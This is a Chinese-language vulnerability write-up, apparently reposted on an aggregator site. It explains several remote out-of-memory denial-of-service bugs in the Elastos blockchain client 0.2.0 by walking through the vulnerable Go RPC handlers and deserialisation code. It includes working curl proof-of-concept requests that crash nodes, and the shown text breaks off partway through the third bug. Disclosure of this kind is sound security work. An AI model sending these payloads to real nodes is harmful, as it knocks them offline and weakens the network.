Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

公链安全之亦来云多个远程DoS漏洞详解

0
0

关于区块链安全的资料,目前互联网上主要侧重于钱包安全、智能合约安全、交易所安全等,而很少有关于公链安全的资料,公链是以上一切业务应用的基础,本文将介绍公链中比较常见的一种的DoS漏洞。

0x1 知识储备

公链客户端与其他传统软件的客户端没有太大区别,在传统软件上会遇到的问题在公链客户端中都有可能遇到。

所以要让一个客户端发生Crash的常见方法有:

使程序发生运行时异常,且这个异常没有被容错,例如 数组越界 、 除以0 、 内存溢出 等。

使系统环境不满足程序运行的要求,例如 创建大数组造成的OOM 、 无 限递归造成的OOM 等

多线程死锁

其他

公链节点可被轻易攻击下线的危害是巨大的,比如会使网络算力骤减,从而导致51%攻击等。

本文根据亦来云的这几个漏洞主要介绍的是由OOM所引起的Crash漏洞。

0x2 漏洞分析

本文主要对亦来云公链0.2.0的以下价值20ETH的4个漏洞进行分析:

DVP-2018-08809(Reward:5ETH) DVP-2018-08813(Reward:5ETH) DVP-2018-08817(Reward:5ETH) DVP-2018-10793(Reward:5ETH) DVP-2018-08809

servers/interfaces.go 漏洞代码片段:

func DiscreteMining(param Params) map[string]interface{} { if LocalPow == nil { return ResponsePack(PowServiceNotStarted, "") } count, ok := param.Uint("count") if !ok { return ResponsePack(InvalidParams, "") } ret := make([]string, count) blockHashes, err := LocalPow.DiscreteMining(uint32(count)) if err != nil { return ResponsePack(Error, err) } for i, hash := range blockHashes { ret[i] = ToReversedString(*hash) } return ResponsePack(Success, ret) }

根据以上代码可以发现 DiscreteMining 函数会接收一个 param 参数,并从 param 中取出一个值赋值给 count 变量。

然后 count 变量会被待会 make 函数中


公链安全之亦来云多个远程DoS漏洞详解

通过官方文档了解到 make 函数是用于创建数组的,而数组的长度由第二个参数控制,理 论上只要第二个参数很大,就会产生一个占有大量内存的数组,从而导致OOM。

而 ma ke 函数的第二个参数可以通过 param 参数来控制,所以只要 param 参数是远程可控的,就可以远程使节点Crash了。

最终在 httpjsonrpc/server.go 中发 DiscreteMining 能通过rpc接口远程调用,而目前的客户端是默认开启rpc并绑定公网地址的,所以可以对公网上任意节点发送恶意包使其Crash。

StartRPCServer 函数代码片段:

func StartRPCServer() { mainMux = make(map[string]func(Params) map[string]interface{}) http.HandleFunc("/", Handle) //省略一段 // mining interfaces mainMux["togglemining"] = ToggleMining mainMux["discretemining"] = DiscreteMining err :=http.ListenAndServe(":"+strconv.Itoa(Parameters.HttpJsonPort), nil) if err != nil { log.Fatal("ListenAndServe: ", err.Error()) } } PoC: curl --data-binary '{"method":"discretemining","params":{"count":"99999999999999"}}' -H 'Content-Type:application/json' http://*.*.*.*:20333 漏洞复现:
公链安全之亦来云多个远程DoS漏洞详解
DVP-2018-08813

core/payloadwithdrawfromsidechain.go 漏洞代码片段:

func (t *PayloadWithdrawFromSideChain) Deserialize(r io.Reader, version byte) error { height, err := common.ReadUint32(r) if err != nil { return errors.New("[PayloadWithdrawFromSideChain], BlockHeight deserialize failed.") } address, err := common.ReadVarString(r) if err != nil { return errors.New("[PayloadWithdrawFromSideChain], GenesisBlockAddress deserialize failed.") } length, err := common.ReadVarUint(r, 0) if err != nil { return errors.New("[PayloadWithdrawFromSideChain], SideChainTransactionHashes length deserialize failed") } t.SideChainTransactionHashes = nil t.SideChainTransactionHashes = make([]common.Uint256, length) for i := uint64(0); i < length; i++ { var hash common.Uint256 err := hash.Deserialize(r) if err != nil { return errors.New("[WithdrawFromSideChain], SideChainTransactionHashes deserialize failed.") } t.SideChainTransactionHashes[i] = hash } t.BlockHeight = height t.GenesisBlockAddress = address return nil}

这里同样是由于 make 函数的第二个参数由参数r控制,只要r可控就可以使 make 函数引发OOM,从而Crash。

在 servers/interface.go 中的 SendRawTransaction 函数中发现间接的调用了 Transaction 的 Deserialize 函数,具体如下:

func SendRawTransaction(param Params) map[string]interface{} { str, ok := param.String("data") if !ok { return ResponsePack(InvalidParams, "need a string parameter named data") } bys, err := HexStringToBytes(str) if err != nil { return ResponsePack(InvalidParams, "hex string to bytes error") } var txn Transaction err := txn.Deserialize(bytes.NewReader(bys)); err != nil { return ResponsePack(InvalidTransaction, "transaction deserialize error") } if errCode := VerifyAndSendTx(&txn); errCode != Success { return ResponsePack(errCode, errCode.Message()) } return ResponsePack(Success, ToReversedString(txn.Hash())) }

根据如上标红代码可以发现 SendRawTransaction 函数会先取RPC接口传来的 data 参数复制给变量 str ,然后变量 str 会转换为 bytes 复制给变量 bys ,最后 bys 变量会被带入 Transaction 的 Deserialize 函数中。

再看看 Transaction 的 Deserialize 函数:

func (tx *Transaction) Deserialize(r io.Reader) error { // tx deserialize if err := tx.DeserializeUnsigned(r); err != nil { //略 return nil } //略

参数r被带入了 Transaction 的 DeserializeUnsigned 函数中,继续跟踪一下:

func (tx *Transaction) DeserializeUnsigned(r io.Reader) error { //略 tx.Payload, err = GetPayload(tx.TxType) if err != nil { return err } err = tx.Payload.Deserialize(r, tx.PayloadVersion) //略 return nil } func GetPayload(txType TransactionType) (Payload, error) { var p Payload switch txType { //略 case WithdrawFromSideChain: p = new(PayloadWithdrawFromSideChain) case TransferCrossChainAsset: p = new(PayloadTransferCrossChainAsset) default:return nil, errors.New("[Transaction], invalid transaction type.") } return p, nil }

在该函数中会先通过 GetPayload(tx.TxType) 来取到 tx.Payload ,然后会调用 tx.Payload 的 Deserialize 函数,只要能控制 Payload 的类型为 PayloadWithdrawFromSideChain ,就可以触发 PayloadWithdrawFromSideChain 的 Deserialize 函数,而 Transaction 是通过RPC接口远程传来的,所以tx对象的字段都是可控的。

最终的利用链:RPC的 SendRawTransaction 接口-> Transaction 的 Deserialize 函数-> Transaction 的 DeserializeUnsigned 函数->通过 GetPayload 取到取到 PayloadWithdrawFromSideChain 对象->调用其的 Deserialize 函数->触发 make ->OOM

PoC: curl --data-binary '{"method":"sendrawtransaction","params":{"data":"0701100000000196ffffffffff"}}' -H 'Content-Type:application/json' http://*.*.*.*:20336 漏洞复现:
公链安全之亦来云多个远程DoS漏洞详解
DVP-2018-08817

还是上面的 Deserialize 函数引起的OOM,不过触发点不同。

这次的触发点是在 servers/interfaces.go 中的 SubmitAuxBlock 函数中:

func SubmitAuxBlock(param Params) map[string]interface{} { blockHash, ok := param.String("blockhash") if

Viewing all articles
Browse latest Browse all 12749